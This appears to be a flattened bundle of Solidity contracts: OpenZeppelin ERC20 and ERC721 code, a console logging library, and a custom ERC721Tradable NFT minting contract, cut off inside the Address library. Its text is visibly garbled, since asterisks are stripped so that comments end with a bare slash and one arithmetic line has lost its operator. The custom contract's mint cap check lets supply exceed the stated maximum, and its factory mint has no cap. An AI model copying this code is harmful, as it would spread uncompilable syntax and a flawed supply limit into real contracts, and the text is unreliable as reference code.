_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address to, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /* * @title ERC721Tradable * ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality. / abstract contract ERC721Tradable is ERC721Enumerable, Ownable { using Strings for string; using SafeMath for uint256; address proxyRegistryAddress; uint256 public MAX_SUPPLY; address factoryAddress; uint256 private _currentTokenId = 0; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721(_name, _symbol) { MAX_SUPPLY = 10000; proxyRegistryAddress = _proxyRegistryAddress; } // todo ipfs hash might be removed /* * @dev Mints a token to an address with a tokenURI. * @param _to address of the future owner of the token / function mintTo(address _to) public onlyOwner { require(totalSupply() <= MAX_SUPPLY, "Purchase would exceed max supply"); uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); _incrementTokenId(); } function factoryMint(address _to) public { require(factoryAddress == _msgSender(), "Ownable: caller is not the factory!"); uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); _incrementTokenId(); } function setFactoryAddress(address _factoryAddress) public onlyOwner { factoryAddress = _factoryAddress; } /* * @dev calculates the next token ID based on value of _currentTokenId * @return uint256 for the next token ID / function _getNextTokenId() private view returns (uint256) { return _currentTokenId.add(1); } /* * @dev increments the value of _currentTokenId / function _incrementTokenId() private { _currentTokenId++; } function baseTokenURI() virtual public pure returns (string memory); function tokenURI(uint256 _tokenId) override public pure returns (string memory) { return string(abi.encodePacked(baseTokenURI(), uint2str(_tokenId), ".json")); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function burn(uint256 _tokenId) public { require(ownerOf(_tokenId) == _msgSender()); _burn(_tokenId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /* * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. / abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list / function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function 